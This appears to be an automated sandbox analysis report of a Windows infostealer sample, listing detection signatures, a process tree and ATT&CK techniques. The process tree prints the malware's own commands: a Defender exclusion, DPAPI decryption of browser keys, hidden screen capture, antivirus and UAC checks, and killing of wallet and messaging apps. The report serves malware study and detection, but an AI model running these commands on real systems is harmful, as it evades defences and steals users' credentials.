Analysis
- max time kernel
149s - max time network
147s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
10/07/2026, 04:30
General
- Target 2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
- Size 43.2MB
- Sample260710-e483xsc12m
- SHA256 881d5c50e3a9ec406319d17477d0732e851dfa58077065276a9ef16eca4a111b
Score
9/10
Malware Config
Signatures
- Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Using powershell.exe command.
- Modifies Windows Firewall 2 TTPs 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Contacts third-party web service commonly abused for C2 1 TTPs 7 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Drops desktop.ini file(s) 3 IoCs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Checks processor information in registry 2 TTPs 24 IoCs
Processor information is often read in order to detect sandboxing environments.
- Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
- Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
- Kills process with taskkill 4 IoCs
- Modifies registry key 1 TTPs 1 IoCs
- Runs net.exe
- Suspicious behavior: EnumeratesProcesses 31 IoCs
- Suspicious use of AdjustPrivilegeToken 51 IoCs
- Suspicious use of WriteProcessMemory 42 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exeC:\Users\Admin\AppData\Local\Temp\2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe C:\snapshot\Kynix_Bot\builds\c038d105\kynix.js --hidden2⤵
- Checks computer location settings
- Drops desktop.ini file(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "net session"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\net.exenet session4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 session5⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall show allprofiles state"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall show allprofiles state4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\Wbem\WMIC.exewmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName4⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\reg.exereg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA4⤵
- Modifies registry key
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "ipconfig /all"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\ipconfig.exeipconfig /all4⤵
- Gathers network information
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "systeminfo"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\systeminfo.exesysteminfo4⤵
- Gathers system information
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1783657878501.vbs""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cscript.execscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1783657878501.vbs"4⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "net session"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\net.exenet session4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 session5⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\system32os' -Force""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\system32os' -Force"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe' -WorkingDirectory 'C:\Users\Admin\AppData\Local\Temp\system32os' -ArgumentList 'all kaakkak28288nddhhBDAAD8282ksksk' -WindowStyle Hidden -Wait""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe' -WorkingDirectory 'C:\Users\Admin\AppData\Local\Temp\system32os' -ArgumentList 'all kaakkak28288nddhhBDAAD8282ksksk' -WindowStyle Hidden -Wait"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe"C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe" all kaakkak28288nddhhBDAAD8282ksksk5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"6⤵
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"6⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\taskkill.exetaskkill /IM Steam.exe /F4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM javaw.exe /F"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\taskkill.exetaskkill /IM javaw.exe /F4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Exodus.exe /F"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\taskkill.exetaskkill /IM Exodus.exe /F4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAqhp1A/rztkeavAxozqQU+xAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAv7oJeF+ANgPVNUGWPQjE+IivTGMK0CZJazB/gmjGlaEAAAAADoAAAAACAAAgAAAAIwlMJ9FKFszXabOz2mKgrqJxwBweHq7MxMaechfQW5wwAAAAYncnQvj2f8EeWAwDpyE5cGG4rlrTcW06w6ODIr9rS29QUozqQBFrgRREHvZZADZrQAAAALoUrYzc+fFKxmobtIpAeWTiSHwHLF6HWVIBOzVaMGBTIWatraZFbr/qjnWNSNZio7uLEcJhj1Kn4HsV5ruDYMY=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAqhp1A/rztkeavAxozqQU+xAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAv7oJeF+ANgPVNUGWPQjE+IivTGMK0CZJazB/gmjGlaEAAAAADoAAAAACAAAgAAAAIwlMJ9FKFszXabOz2mKgrqJxwBweHq7MxMaechfQW5wwAAAAYncnQvj2f8EeWAwDpyE5cGG4rlrTcW06w6ODIr9rS29QUozqQBFrgRREHvZZADZrQAAAALoUrYzc+fFKxmobtIpAeWTiSHwHLF6HWVIBOzVaMGBTIWatraZFbr/qjnWNSNZio7uLEcJhj1Kn4HsV5ruDYMY=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAqhp1A/rztkeavAxozqQU+xAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAANtFmfKSWTqPgvbeBD4puc6/pVRQr4SYIla8KyRB70XAAAAAAA6AAAAAAgAAIAAAAAGY2ptTDabmJLt4eM5lv8OH8aZlda5TniUci+n4BSQUMAAAAFDMTcW65Nci49OnyLtNSd+AbBI+UPg+89+KwUjX54a8GNbH0gC2Az35ISidkPEky0AAAABnwYqUORoGCGAjK3CdjhA5URUvm2sdzUEAOthQHwghrUPVl+Udw0kw8c/qtsSLQ2aKdP8tDhuA70Mv0BfgiYlK');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAqhp1A/rztkeavAxozqQU+xAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAANtFmfKSWTqPgvbeBD4puc6/pVRQr4SYIla8KyRB70XAAAAAAA6AAAAAAgAAIAAAAAGY2ptTDabmJLt4eM5lv8OH8aZlda5TniUci+n4BSQUMAAAAFDMTcW65Nci49OnyLtNSd+AbBI+UPg+89+KwUjX54a8GNbH0gC2Az35ISidkPEky0AAAABnwYqUORoGCGAjK3CdjhA5URUvm2sdzUEAOthQHwghrUPVl+Udw0kw8c/qtsSLQ2aKdP8tDhuA70Mv0BfgiYlK');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Telegram.exe /F"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\taskkill.exetaskkill /IM Telegram.exe /F4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
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C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
Network
MITRE ATT&CK Enterprise v16
Persistence
Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Privilege Escalation
Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
1Obfuscated Files or Information
1Command Obfuscation
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
xl9fi05jg4a.zip
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_c4acd5hq.y52.ps1
firefox_cookies_temp.sqlite
firefox_history_temp.sqlite
chromelevator.exe
cookies.json
cookies.txt
history.json
history.txt
system_check_1783657878501.vbs
memory/452-91-0x0000027DB1BE0000-0x0000027DB1DFC000-memory.dmp
memory/1388-138-0x0000024FA8160000-0x0000024FA81B0000-memory.dmp
memory/4116-31-0x00000219F8500000-0x00000219F850A000-memory.dmp
memory/4116-29-0x00000219F7800000-0x00000219F780A000-memory.dmp
memory/4116-30-0x00000219F8520000-0x00000219F853C000-memory.dmp
memory/4116-34-0x00000219F8540000-0x00000219F8546000-memory.dmp
memory/4116-32-0x00000219F8560000-0x00000219F857A000-memory.dmp
memory/4116-33-0x00000219F8510000-0x00000219F8518000-memory.dmp
memory/4116-28-0x00000219F87B0000-0x00000219F8865000-memory.dmp
memory/4116-35-0x00000219F8550000-0x00000219F855A000-memory.dmp
memory/4116-27-0x00000219F84E0000-0x00000219F84FC000-memory.dmp
memory/4116-19-0x00000219F7530000-0x00000219F7552000-memory.dmp
memory/4280-218-0x000001724D0F0000-0x000001724D23E000-memory.dmp